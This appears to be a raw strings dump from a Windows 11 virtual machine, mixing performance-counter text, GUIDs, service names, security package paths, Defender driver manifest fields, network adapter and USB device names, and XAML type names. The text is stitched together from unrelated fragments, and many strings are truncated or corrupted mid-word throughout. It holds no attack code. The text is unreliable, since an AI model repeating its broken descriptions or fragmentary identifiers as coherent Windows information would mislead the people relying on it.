GIF Instruction Emulation Intercepts/sec 14584 GIF Instruction Emulation Cost 14586 Emulated errata SVM instruction/sec 14588 Placeholder 1 14590 Placeholder 2 14592 Placeholder 3 14594 Placeholder 4 14596 Placeholder 5 14598 Placeholder 6 14600 Placeholder 7 14602 Placeholder 8 14604 CPU Contention Time Per Dispatch 14606 CPU Wake Up Time Per Dispatch 14608 Scheduling Priority 14610 RDPMC Instructions/sec 14612 RDPMC Instructions Cost 14614 Performance Monitoring vPMU MSR Accesses/sec 14616 Performance Monitoring LBR MSR Accesses/sec 14618 Performance Monitoring IPT MSR Accesses/sec 14620 Performance Monitoring Interrupts/sec 14622 VTL1 Dispatches/sec 14624 VTL2 Dispatches/sec 14626 VTL2 Dispatch Time Bucket 0 14628 VTL2 Dispatch Time Bucket 1 14630 VTL2 Dispatch Time Bucket 2 14632 VTL2 Dispatch Time Bucket 3 14634 VTL2 D Microsoft.Windows.Common-Controls.Resources dsig dsig sxsoaps.tlb comctl32.dll.mui sxsoaps.dll Microsoft.Windows.IsolationAutomation.ProxyStub dleEx-R- ived per second. 5933 Average latency of mailslot ping processing times. 5935 The base value used to calculate average mailslot ping latency. 5863 Counters for monitoring DC location functionality. These counters are only supported on domain-joined machines. 5865 Number of successful DC locator requests per second. 5867 Number of failed DC locator requests per second. 5869 Number of currently active DC locator requests. 5871 Average latency of successful requests in seconds. 5873 The base value used to calculate average success latency. 5875 Average latency of failed requests in seconds. 5877 The base value used to calculate average failure latency. 5879 Number of DC locator cache hits per s 5881 Number o the DL PDC_REQU flag of t/ DsGetDc api. Note/ hat a single request may specify multiple flags. 5885 Number of req rently o DaylightStart e Daylight Time Cortana.Internal.Search.TileAppItem {725BE8F7-668E-4C7B-8F90-46BDB0936430} {12B1697E-D3A0-4DBC-B568-CCF64A3F934D} %SystemRoot%\System32\themecpl.dll,-1 {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} %SystemRoot%\System32\imageres.dll,-149 {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} {12B1697E-D3A0-4DBC-B568-CCF64A3F934D} {DD338333-7000-45CC-A84D-64680D6E683D} {12B1697E-D3A0-4DBC-B568-CCF64A3F934D} {025A5937-A6BE-4686-A844-36FE4BEC8B6D} Show which workgroup this computer is on {7B81BE6A-CE2B-4676-A29E-EB907A5126C5} {F82DF8F7-8B9F-442E-A48C-818EA735FF9B} Cortana.Internal.Search.TileAppItem E77-02E7-4E5D-B744-2EB1AE5198B7}\cleanmgr.exe {D20EA4E1-3957-11D2-A40B-0C5020524153} Cortana.Internal.Search.TileAppItem {E6243488-3449-4D4D-98AA-FFC14E3FF0F8} Create and format hard disk partitions {9C60DE1E-E5FC-40F4-A487-460851A8D915} %SystemRoot%\System32\autoplay.dll,-1 {E79BCB1B-EEB7-4180-98FD-BD47F6DCFF79} Press key combinations one at a time {ED0FF627-BFD1-4F68-9A74-974E73F41A3A} {E5A79670-70E6-43F8-9143-E0D334599E6C} oft.MicrosoftStickyNotes_8wekyb3d8bbwe!App {12B1697E-D3A0-4DBC-B568-CCF64A3F934D} {D555645E-D4F8-4C29-A827-D93C859C4F2A} {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} {BB06C0E4-D293-4F75-8A90-CB05B6477EEE} {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} %SystemRoot%\System32\imageres.dll,-149 {BB06C0E4-D293-4F75-8A90-CB05B6477EEE} shcond://v1#SkuEquals;0;Sku;starter Edit the system environment variables %SystemRoot%\Syste 34D} {A8A91A66-3A7D-4424-8D24-04E180695C7A} %windir%\system32\RecoveryDrive.exe {C5361E07-6AA3-4453-81BC-93E8F85EABED} {12B1697E-D3A0-4DBC-B568-CCF64A3F934D} {12B1697E-D3A0-4DBC-B568-CCF64A3F934D} Cortana.Internal.Search.TileAppItem Cortana.Internal.Search.TileAppItem {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} {12B1697E-D3A0-4DBC-B568-CCF64A3F934D} {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} Show which domain your computer is on Cortana.Internal.Search.TileAppItem {A8A91A66-3A7D-4424-8D24-04E180695C7A} %SystemRoot%\System32\imageres.dll,-114 %SystemRoot%\System32\imageres.dll,-149 {C86B1923-8E1F-414B-83DB-94B09BA73E15} Cortana.Internal.Search.TileAppItem {C5AE651D-D027-4D11-8125-595B9933C78B} {BB06C0E4-D293-4F75-8A90-CB05B6477EEE} {12B1697E-D3A0-4DBC-B568-CCF64A3F934D} shcond://v1#SkuEquals;1;Sku;anyhome {BB06C0E4-D293-4F75-8A90-CB05B6477EEE} E77-02E7-4E5D-B744-2EB1AE5198B7}\LiveCaptions.exe {12B1697E-D3A0-4DBC-B568-CCF64A3F934D} %SystemRoot%\System32\srchadmin.dll,-201 {D4690CFE-6A59-4BAB-BFF7-9ED0D083E798} {D652F9E4-08FD-4A24-8EAC-05715188233E} {D679D992-D843-4D3C-BFEA-5EDF4D37EE9F} {D5D5B38A-0FD8-43B6-8C7D-372D84BD357D} {BB06C0E4-D293-4F75-8A90-CB05B6477EEE} {A3DD4F92-658A-410F-84FD-6FBBBEF2FFFE} Cortana.Internal.Search.TileAppItem {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} %SystemRoot%\System32\imageres.dll,-149 {D555645E-D4F8-4C29-A827-D93C859C4F2A} {D555645E-K Windows11 IsArabic IsArabicPresentationForms-A IsArabicPresentationForms-B IsArmenian IsArrows IsBasicLatin IsCherokee IsMalayalam IsKatakana IsOriya IsSpecials IsCyrillic IsTagalog IsKanbun IsDingbats IsMongolian IsGurmukhi IsHiragana IsOgham IsBopomofo IsGreek nnada IsLimbL IsMyanma IsSinhala IsGeorgian IsRunic IsBuhid IsEthiopic Bengali IsGujarati nera dthandFullwidthForms ls-A Syllables gari ngxiRadicals IsSmallF ???? ???? TSSSP TS Service Security Package C:\WINDOWS\system32\tspkg.DLL ;PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&C3 ys the last observed value. 2527 Displays the size of the activity host processes pool. This counter displays the last observed value. 2529 Displays the number of requests that are pending execution and waiting in the PowerShell Remoting queue. This counter displays the last observed value. 2531 Displays the number of requests that are being serviced. This counter is not an average over time; it displays the difference between the values observed in the last two samples divided by the duration of the sample interval. 2533 Displays the number of requests that were forced to wait and waiting in the PowerShell Remoting queue. This counter displays the last observed value. 2535 Displays the number of PowerShell Remotin nnections that h tart of PowerShell W e lastL bserved value. 2537 Displays the ber of Pow/ Shell Remoting connections that have been disposed since the start of PowerShell Workflo ays r of tha nsole Lucida Console INDOWS\S ta\L !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ \MSA me3\ SOFTWARE\Microsoft\Ole\Extensions winRTDesktopBrokerCLSID ++S+ CloudAP Cloud AP Security Package C:\WINDOWS\system32\cloudAP.DLL NTLM NTLM Security Package C:\WINDOWS\system32\msv1_0.DLL \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820} \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820} Service-0x0-3e7$\Default efault Service-0x0-3e7$\Default SERVICE Service-0x0-3e7$\Default \Device\HarddiskVolume3\Windows\System32\svchost.exe host.exe sppsvc SSDPSRV ssh-agent SstpSvc StateRepository StiSvc StorSvc svsvc swprv SysMain ProfSvc_Group SystemEventsBroker TapiSrv TermService TextInputManagementService PlugPlay Themes ProfSvc_Group TieringEngineService TimeBrokerSvc TokenBroker TrkWks TroubleshootingSvc TrustedInstaller ProfSvc_Group tzautoupdate UdkUserSvc UevAgentService ProfSvc_Group UmRdpService UnistoreSvc upnphost UserDataSvc UserManager UsoSvc VaultSvc VGAuthService VM3DService vmicguestinterface vmicheartbeat vmickvpexchange vmicrdv vmicshutdown vmictimesync vmicvmsession vmicvss VMTools vmvss W32Time WaaSMedicSvc WalletService WarpJITSvc wbengine WbioSrvc SmartCardGroup Wcmsvc wcncsvc WdiServiceHost WdiSystemHost WdNisSvc WebClient NetworkProvider webthreatdefsvc webthreatdefusersvc Wecsvc WEPHOSTSVC wercplsupport WerSvc WFDSConMgrSvc whesvc WiaRpc WinDefend WinHttpAutoProxySvc Winmgmt WinRM wisvc WlanSvc wlidsvc wlpasvc WManSvc wmiApSrv WMPNetworkSvc workfolderssvc LocalService WpcMonSvc WPDBusEnum WpnService WpnUserService WSAIFabricSvc wscsvc WSearch wuauserv wuqisvc WwanSvc XblAuthManager XblGameSave XboxGipSvc XboxNetApiSvc ZTHELPER ende 3++S++ gpsvc FontCache FontCache EventSystem EventSystem EventLog EventLog DusmSvc DusmSvc Dnscache Dnscache DispBrokerDesktopSvc DispBrokerDesktopSvc DiagTrack DiagTrack Dhcp Dhcp DcomLaunch DcomLaunch CryptSvc CryptSvc CoreMessagingRegistrar CoreMessagingRegistrar COMSysApp COMSysApp BrokerInfrastructure BrokerInfrastructure Audiosrv Audiosrv AudioEndpointBuilder AudioEndpointBuilder AppIDSvc AppIDSvc urn:schemas-microsoft-com:asm.v3 Microsoft.Windows.Categories system32\drivers\WdFilter.sys not $(build.buildFilterIsWow) not $(build.buildFilterIsWow) not $(build.buildFilterIsWow) not $(build.buildFilterIsWow) $(Build.WindowsPublicKeyToken) not $(build.buildFilterIsWow) Microsoft.Windows.Categories $(build.WindowsPublicKeyToken) $(build.campBinaryImportPath) not $(build.buildFilterIsWow) Microsoft-Antimalware-AMFilter http://www.w3.org/2001/XMLSchema not $(build.buildFilterIsWow) urn:schemas-microsoft-com:asm.v3 $(build.campBinaryImportPath) AMFilter_ProcessContext securityDescriptor AMFilter_CacheRemove IoStatusBlockForNewFile AMFilter_SeqReadFlag AMFilter_FileScanEvent TrustedProcessPayload TrustedProcessKeyword startAfterInstall AMFilter_SeqReadFlag ProcessContextPayload FileScanResultPayload system32\drivers\WdBoot.sys AMFilter_FileScanResult categoryMembership resourceFileName processorArchitecture ExemptVmHardenedTypes AMFilter_CacheRemove AMFilter_CacheHitEvent AMFilter_SeqReadFlagEvent AMFilter_TrustedProcess AMFilter_CacheFlushEvent ProcessContextPayload AMFilter_FileScanResult FileScanResultPayload ProcessContextKeyword categoryInstance startAfterInstall buildFilter sourceName $(runtime.drivers) C:\WINDOWS\System32 ProgramData=C:\ProgramData COMPUTERNAME=WINDOWS11 TEMP=C:\WINDOWS\TEMP USERDOMAIN=WORKGROUP \Windows\ApiPortection PROCESSOR_REVISION=ba02 rowser Consolas TTFont__ NUMBER_OF_PROCESSORS=2 C:\WINDOWS \??\C:\WINDOWS\system32\conhost.exe \??\C:\WINDOWS\system32\conhost.exe 0x4 ffffff -ForceV1 C:\WINDOWS\ \Device\HarddiskVolume3\Windows\System32\dwm.exe \Device\HarddiskVolume3\Windows\System32\svchost.exe gpsvc FontCache FontCache EventSystem EventSystem EventLog EventLog DusmSvc DusmSvc Dnscache Dnscache DispBrokerDesktopSvc DispBrokerDesktopSvc DiagTrack DiagTrack Dhcp Dhcp DcomLaunch DcomLaunch CryptSvc CryptSvc CoreMessagingRegistrar CoreMessagingRegistrar COMSysApp COMSysApp BrokerInfrastructure BrokerInfrastructure Audiosrv Audiosrv AudioEndpointBuilder AudioEndpointBuilder AppIDSvc AppIDSvc 009.dat ndows\System32\perfc009. ntel(R) 82574L Gigabit Network Connection LMicrosoft Kernel Debug Network Adapter "WAN Miniport (IP) &WAN Miniport (IPv6) <WAN Miniport (Network Monitor) (WAN Miniport (PPPOE) :Software Loopback Interface 1 DMicrosoft Teredo Tunneling Adapter JMicrosoft IP-HTTPS Platform Interface 6to4 Adapter 0Local Area Connection* 1 0Local Area Connection* 2 0Local Area Connection* 3 0Local Area Connection* 4 0Local Area Connection* 6 0Local Area Connection* 7 0Local Area Connection* 8 0Local Area Connection* 5 6Loopback Pseudo-Interface 1 BTeredo Tunneling Pseudo-Interface C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p (WAN Miniport (PPPOE) :Software Loopback Interface 1 DMicrosoft Teredo Tunneling Adapter FMicrosoft IP-HTTPS Platform Adapter ,Microsoft 6to4 Adapter &WAN Miniport (SSTP) (WAN Miniport (IKEv2) 4__cw5n1 3++S 3++S++ ++S+ ++S+ 3++S++ ourc exe. ystem32\ en-US en-US en-AU en-CA en-GB en-HK en-IE en-NZ en-SG ar-SA pt-BR zh-TW zh-CN zh-HK zh-SG cs-CZ da-DK el-GR es-AR es-CL es-CO es-ES es-MX es-US fi-FI fr-BE fr-CA fr-CH fr-FR de-AT de-CH de-DE he-IL hu-HU it-IT ja-JP ko-KR nl-BE nl-NL nb-NO pl-PL pt-PT ru-RU sv-SE trustInfo accessControl 6to4 Adapter 0Local Area Connection* 1 0Local Area Connection* 2 0Local Area Connection* 3 0Local Area Connection* 4 dleEx-R- dleEx-R- ACPI\PNP0A05\43 ACPI\PNP0A05\3b ACPI\PNP0A05\4d length keyref choice pattern union field list anyType unique Ethernet0 4Ethernet (Kernel Debugger) 0Local Area Connection* 6 0Local Area Connection* 7 0Local Area Connection* 8 0Local Area Connection* 5 461A (R) 82574L Gigabit Network Connection-WFP Native MAC Layer LightWeight Filter-0000 Intel(R) 82574L Gigabit Network Connection-QoS Packet Scheduler-0000 Intel(R) 82574L Gigabit Network Connection-WFP 802.3 MAC Layer LightWeight Filter-0000 TIntel(R) 82574L Gigabit Network Connection 0Local Area Connection* 3 0Local Area Connection* 4 v2:Win32_NetworkAdapter.DeviceID="0" Microsoft.UI.Xaml.Controls.Primitives.ColorSpectrum Windows.UI.Xaml.Media.Animation.TransitionCollection <+ncalrpc:[OLEF7DA034413414608262F20B1FE9F] Windows11\job Windows.UI.Internal.Input.ActivationController Windows.UI.Xaml.Media.XamlCompositionBrushBase ms-resource:///Files/Microsoft.UI.Xaml.Controls/Themes/generic.xaml vationController Windows.UI.Internal.Input.InputDelegationInputObject Windows.UI.Xaml.Controls.Primitives.RangeBase Windows.UI.Xaml.Controls.Primitives.ButtonBase Windows.UI.Internal.Input.InputDelegationInputObject Windows.UI.Xaml.Controls.Primitives.FlyoutBase Windows.UI.Internal.Input.WindowsMessageDelivery Windows.Foundation.PropertyValue l.D`taT Windows.Foundation.Collections.IMap`2<String,Windows.UI.Xaml.DataTemplate> istr Windows.Foundation.Collections.IReadOnlyList`1<Windows.UI.Xaml.UIElement> :Sun Windows.Foundation.Collections.IMap`2<String,Windows.UI.Xaml.DataTemplate> ISTR Microsoft.UI.Xaml.Controls.AnimatedVisuals.AnimatedAcceptVisualSource tware\Microsoft\Windows NT\Curr ersion\AppCompatFlags\Layers 21-3914889805-4071901059-918772 1001 Microsoft.UI.Xaml.CustomAttributes.MUXHasCustomActivationFactoryAttribute ms-resource://Microsoft.UI.Xaml.CBS/Files/Microsoft.UI.Xaml/Themes/21h1_themeresources.xbf y:Tue:Tuesday:Wed:Wednesday:Thu rsday:Fri:Friday:Sat:Saturda 7190105 ISTR Microsoft.UI.Xaml.Controls.AnimatedVisuals.AnimatedSettingsVisualSource ISTR Microsoft.UI.Xaml.CustomAttributes.MUXPropertyValidationCallbackAttribute 21-3914889805-4071901059-918772 1001 7190105 ISTR Microsoft.UI.Xaml.Controls.Primitives.ColumnMajorUniformToLargestGridLayout ms-resource://Microsoft.UI.Xaml.CBS/Files/Microsoft.UI.Xaml/Themes/21h1_themeresources.xbf ISTR Microsoft.UI.Xaml.Controls.Primitives.CornerRadiusToThicknessConverterKind ms-resource://Microsoft.UI.Xaml.CBS/Files/Microsoft.UI.Xaml/Themes/21h1_themeresources.xbf ISTR Windows.ApplicationModel.DataTransfer.DragDrop.Core.CoreDragDropManager ISTR Microsoft.UI.Xaml.Controls.Primitives.CornerRadiusToThicknessConverter istr Microsoft.UI.Xaml.CustomAttributes.MUXPropertyChangedCallbackAttribute tware\Microsoft\Windows NT\Curr ersion\AppCompatFlags\Layers Windows.Foundation.Collections.IReadOnlyList`1<Windows.UI.Xaml.UIElement> tware\Microsoft\Windows NT\Curr ersion\AppCompatFlags\Layers ilep/Mi Them 1_them ourc sources.xbf /21h1_themer ++S+ %micro ++S+ 3++S++ kernelDriver DefenderDriversSD registryKeys registryValue DefenderDriversSD ********** *********************************************************************************************************** Early boot driver *********************************************************************************************************** *********************************************************************************************************** BEGIN CONFIGURATION REGISTRY KEYS SECTION *********************************************************************************************************** *********************************************************************************************************** File system mini filter driver keys *********************************************************************************************************** ******************** utf-8 Intel(R) 82574L Gigabit Network Connection-WFP Native MAC Layer LightWeight Filter-0000 Intel(R) 82574L Gigabit Network Connection-QoS Packet Scheduler-0000 Intel(R) 82574L Gigabit Network Connection-WFP 802.3 MAC Layer LightWeight Filter-0000 TIntel(R) 82574L Gigabit Network Connection LMicrosoft Kernel Debug Network Adapter "WAN Miniport (IP) &WAN Miniport (IPv6) ,Microsoft 6to4 Adapter &WAN Miniport (SSTP) (WAN Miniport (IKEv2) &WAN Miniport (L2TP) &WAN Miniport (PPTP) "WAN Miniport (IP) &WAN Miniport (IPv6) <WAN Miniport (Network Monitor) (WAN Miniport (PPPOE) tiva Microsoft.UI.Xaml.Media.RevealBrush Windows.UI.Xaml.Controls.Grid Object ValueType String WindowsRetailDemo Single ms-resource:///Files/ ms-resource:///Files/ ms-resource:///Files/ TimeSpan .Controls.Primitives.ScrollSnapPointBase> Windows.Foundation.Collections.IVector`1<Microsoft.UI.Xaml.Controls.Primitives.ScrollSnapPointBase> 01059-91 CLSID\{BE318A3F-3EF0-4635-B97D-3BE120DD088F} 01059-91 CLSID\{77CBBBB7-6CD0-48ED-A02B-52FBB0E43ECD} 01059-91 CLSID\{77CBBBB7-6CD0-48ED-A02B-52FBB0E43ECD} 01059-91 CLSID\{4B7A83D5-CF71-40AD-AB0F-BF6830E95330} Microsoft.UI.Xaml.Controls.NavigationViewO usbcir Usb4HostRouter_Device.NT %standard.mfg% %usb4hostrouter.devicedesc% Usb4HostRouter_Device.NT %standard.mfg% %usb4hostrouter.devicedesc% USB4(TM) Host Router (Microsoft) Generic USB4 Host Router Microsoft usbcir.inf usbcir eramD Prog es(x C:\P rogr :\Progr amFi owsPowe ifier QueryI ifie lEthernet0-WFP Native MAC Layer LightWeight Filter-0000 FEthernet0-QoS Packet Scheduler-0000 jEthernet0-WFP 802.3 MAC Layer LightWeight Filter-0000 Ethernet0 4Ethernet (Kernel Debugger) 0Local Area Connection* 6 PPID \Program ROOT\KDNIC\0000 PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 CPI\PNP0A05\17 ACPI\PNP0A05\18 ACPI\PNP0A05\19 ACPI\PNP0A05\1a ACPI\PNP0A05\1b ACPI\PNP0A05\1c ACPI\PNP0A05\1d ACPI\PNP0A05\1e ACPI\PNP0A05\1f ACPI\PNP0A05\20 ACPI\PNP0A05\21 ACPI\PNP0A05\22 ACPI\PNP0A05\23 ACPI\PNP0A05\24 ACPI\PNP0A05\25 ACPI\PNP0A05\26 ACPI\PNP0A05\27 ACPI\PNP0A05\28 ACPI\PNP0A05\29 ACPI\PNP0A05\2a ACPI\PNP0A05\2b ACPI\PNP0A05\2c ACPI\PNP0A05\2d ACPI\PNP0A05\2e ACPI\PNP0A05\2f ACPI\PNP0A05\30 ACPI\PNP0A05\31 ACPI\PNP0A05\32 ACPI\PNP0A05\33 ACPI\PNP0A05\34 ACPI\PNP0A05\35 ACPI\PNP0A05\36 ACPI\PNP0A05\37 ACPI\PNP0A05\38 ACPI\PNP0A05\39 ACPI\PNP0 PPID pboardSe %microsoft% %usbcir.devicedesc% usbcir_Device_COMPAT_FORCEV1.NT %microsoft% %usbcir.devicedesc% usbcir_Device_V2.NT %microsoft% %usbcir.devicedesc% usbcir_Device_COMPAT_FORCEV1.NT %microsoft% %usbcir.devicedesc% usbcir_Device_COMPAT_FORCEV1.NT %microsoft% %usbcir.devicedesc% usbcir_Device_V2.NT %microsoft% %usbcir.devicedesc% usbcir_Device_RX.NT %microsoft% %usbcir.devicedesc% usbcir_Device_V2.NT %microsoft% %usbcir.devicedesc% usbcir_Device_RX.NT %microsoft% %usbcir.devicedesc% usbcir_Device_COMPAT_FORCEV1.NT %microsoft% %usbcir.devicedesc% usbcir_Device_COMPAT_FORCEV1.NT %microsoft% %usbcir.devicedesc% Windows.UI.Xaml.FrameworkElement Windows.UI.Xaml.TextAlignment Windows.UI.Xaml.ApplicationTheme Windows.UI.Xaml.Controls.Slider Windows.UI.Xaml.TextReadingOrder Microsoft.UI.Xaml.Controls.BackdropMaterial /Microsoft.UI.Xaml/Themes/21h1_themeresources.xaml Windows.UI.Xaml.Input.InputScope Windows.UI.Xaml.Controls.Orientation Windows.UI.Xaml.Media.Geometry Windows.UI.Xaml.Controls.MenuFlyout Windows.UI.Xaml.ResourceDictionary Microsoft.UI.Xaml.Media.RevealBrushState ealBrush osof Windows.UI.Xaml.DependencyObject /Microsoft.UI.Xaml/Themes/21h1_themeresources.xaml AcrylicBackgroundFillColorBaseBrush /Microsoft.UI.Xaml/Themes/21h1_themeresources.xaml Windows.UI.Xaml.ResourceDictionary Windows.UI.Xaml.DependencyObject Windows.UI.Xaml.DependencyObject Windows.UI.Xaml.Controls.Panel Windows.UI.Xaml.Media.ImageSource Windows.UI.Xaml.Controls.Symbol Windows.UI.Xaml.Controls.Control Windows.UI.Xaml.Controls.ListView Windows.UI.Xaml.Media.ImageBrush Windows.UI.Xaml.Controls.IconElement Windows.UI.Xaml.Media.Stretch Windows.UI.Xaml.ResourceDictionary Windows.UI.Xaml.Media.FontFamily Microsoft.UI.Xaml.Controls.StylesVersion ms-resource:///Files/ Windows.Foundation.Collections.IObservableVector`1<Windows.UI.Xaml.Controls.ICommandBarElement> Windows.Foundation.Collections.IVector`1<Microsoft.UI.Xaml.Controls.Primitives.ZoomSnapPointBase> Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbweMicrosoft.UI.Xaml.Controls.XamlControlsResources Windows.Foundation.Collections.IVector`1<Microsoft.UI.Xaml.Controls.Primitives.ZoomSnapPointBase> Windows.Foundation.Collections.IObservableVector`1<Windows.UI.Xaml.Controls.ICommandBarElement> Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbweMicrosoft.UI.Private.Controls.CBSPackageDetector Windows.Foundation.Collections.IVector`1<Microsoft.UI.Xaml ms-resource:///Files/windows.ui.xaml;component/themes/themeresources.xbf file:///C:/Windows/System32/Microsoft.UI.Xaml.Controls/Themes/generic.xaml Microsoft.UI.Xaml.Controls.TabViewItemTemplateSettings Microsoft.UI.Xaml.Controls.TeachingTipTemplateSettings Microsoft.UI.Xaml.CustomAttributes.MUXPropertyTypeAttribute Controls xaml , C=US Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wek crosoft.UI.Xaml.CBS_8wekyb3d8bbwe C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe\ActivationStore.dat \Windows sito Microsoft.UI.Xaml.CustomAttributes.MUXPropertyDefaultValueAttribute Windows.Foundation.Collections.IReadOnlyDictionary`2<String,Double> Microsoft.UI.Xaml.Controls.UniformGridLayoutItemsJustification Microsoft.UI.Xaml.Controls.NavigationViewSelectionFollowsFocus Microsoft.UI.Xaml.Controls.TeachingTipHeroContentPlacementMode Microsoft.UI.Xaml.Controls.Primitives.NavigationViewItemPresenter Microsoft.UI.Xaml.Controls.AnimatedVisuals.AnimatedFindVisualSource Microsoft.UI.Xaml.Controls.Primitives.CornerRadiusFilterConverter Microsoft.UI.Xaml.Controls.Primitives.MonochromaticOverlayPresenter Microsoft.UI.Xaml.Controls.Primitives.RepeatedScrollSnapPoint Microsoft.UI.Xaml.XamlTypeInfo.XamlControlsXamlMetaDataProvider m32\Wind nage Microsoft.UI.Xaml.Controls.NavigationViewShoulderNavigationEnabled Philips Composite Video Camera National Semiconductor USB Hub Philips Semiconductors CICT Composite USB Device Philips Semiconductors CICT USB Hub Labtec USB Composite Device Computer Access Technology Corporation USB Hub Samsung USB Hub General Purpose USB Hub Yamaha Composite USB Device NMB Composite USB Device Intel 8x930Hx USB Hub Unknown USB Device (Device Failed Enumeration) Computer Access Technology Corporation ULi Electronics Inc. CTX USB Hub Solid Year Composite USB Device KC Technology USB Hub Sony USB HUB Chicony Composite USB Device Iiyama USB Hub API Composite USB Device Standard USB HUB Cherry GmbH USB-Hub EIZO USB Hub MultiVideo Labs USB Hub Silitek USB Composite Device Unsupported NEC PCI to USB Open Host Controller Microsoft Digital Sound System Composite Device Granite Microsystems USB Hub Nokia USB Hub Type P Key Tronic Composite USB Device Samsung E.M. USB Hub Microsoft Office Keyboard Composite Device Intel 8x931Hx Customer Hub EIZO Microsoft.UI.Xaml.CustomAttributes.MUXPropertyNeedsDependencyPropertyFieldAttribute Microsoft.UI.Xaml.Controls.Primitives.NavigationViewItemPresenterTemplateSettings Windows.Foundation.Collections.IVector`1<Microsoft.UI.Xaml.Controls.MenuBarItem> Windows.Foundation.Collections.IVector`1<Microsoft.UI.Xaml.Controls.TreeViewNode> dows Microsoft.UI.Xaml.Controls.AnimatedVisuals.AnimatedChevronUpDownSmallVisualSource Microsoft.UI.Xaml.CustomAttributes.MUXPropertyChangedCallbackMethodNameAttribute ncalrpc UiaManager C:\WINDOWS ncal Windows.Foundation.Rect INDO Windows.UI.Xaml.UIElement esou Windows.UI.Text.FontWeight C:\WINDOWS\rescache\_merged\1725437425 C:\WINDOWS\rescache\_merged\1725437425 Windows.UI.Text.FontStyle C:\WINDOWS\rescache\_merged\1725437425 ms-resource://Windows.UI.ControlCenter/ C:\WINDOWS\rescache\_merged\3000386080 ms-resource://Windows.UI.ShellCommon/ Windows.Foundation.Point Windows.UI.Xaml.DataTemplate Windows.UI.Xaml.Visibility esou Windows.UI.Xaml.CornerRadius C:\Windows\System32\Windows.UI.Xaml.dll Windows.UI.Xaml.Media.Brush Windows.UI.Xaml.Thickness C:\WINDOWS\rescache\_merged\1725437425 System.Numerics.Vector4 Windows.UI.Xaml.GridLength Windows.UI.Xaml.Style ++S+ ++S+ aml.Cont usbcir usbcir Intel(R) C600/X79 series chipset USB2 Enhanced Host Controller #1 - 1D26 Intel(R) 5 Series/3400 Series Chipset Family USB Universal Host Controller - 3B36 Intel(R) ICH10 Family USB Universal Host Controller - 3A64 Intel(R) ICH10 Family USB Universal Host Controller - 3A37 Intel(R) ICH8 Family USB2 Enhanced Host Controller - 283A Intel(R) 82801FB/FBM USB Universal Host Controller - 265A Intel(R) 82801EB USB Universal Host Controller - 24D4 Intel(R) 7 Series/C216 Chipset Family USB Enhanced Host Controller - 1E26 Intel(R) 5 Series/3400 Series Chipset Family USB Universal Host Controller - 3B37 Intel(R) ICH10 Family USB Universal Host Controller - 3A65 Intel(R) ICH10 Family USB Universal Host Controller - 3A38 Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293A Intel(R) 82801FB/FBM USB Universal Host Controller - 265B Intel(R) 5 Series/3400 Series Chipset Family USB Universal Host Controller - 3B38 Intel(R) ICH10 Family USB Universal Host Controller - 3A66 Intel(R) ICH10 Family USB Universal Host Controller - 3A39 Intel(R) 82801FB/FBM USB2 Enhanced Host Controller - 265C Intel(R) 5 Series/3400 Series Chipset Family USB Universal Host Controller - 3B39 Intel(R) ICH10 Family USB Universal Host Controller - 3A67 Intel(R) ICH9 Family USB2 Enhanced Host Controller - 293C Intel(R) 631xESB/6321ESB/3100 Chipset USB Universal Host Controller - 268A OPTi usbcir ++S+ <WAN Miniport (Network Monitor) (WAN Miniport (PPPOE) :Software Loopback Interface 1 DMicrosoft Teredo Tunneling Adapter dapt me3\ System32 ndis5 ndis4 ndis5_uio flpp4 flpp6 ndisuio.inf Install ms_ndiswan NdisWan @%windir%\system32\mprmsg.dll,-32002 NdisWan ndisatm ndiscowan ndiswanasync ++S+ C:\WINDOWS\System32\svchost.exe -k AppReadiness -p 3++S++ ACPI(_SB_)#ACPI(L1M6)#ACPI(L0M1) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0066 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 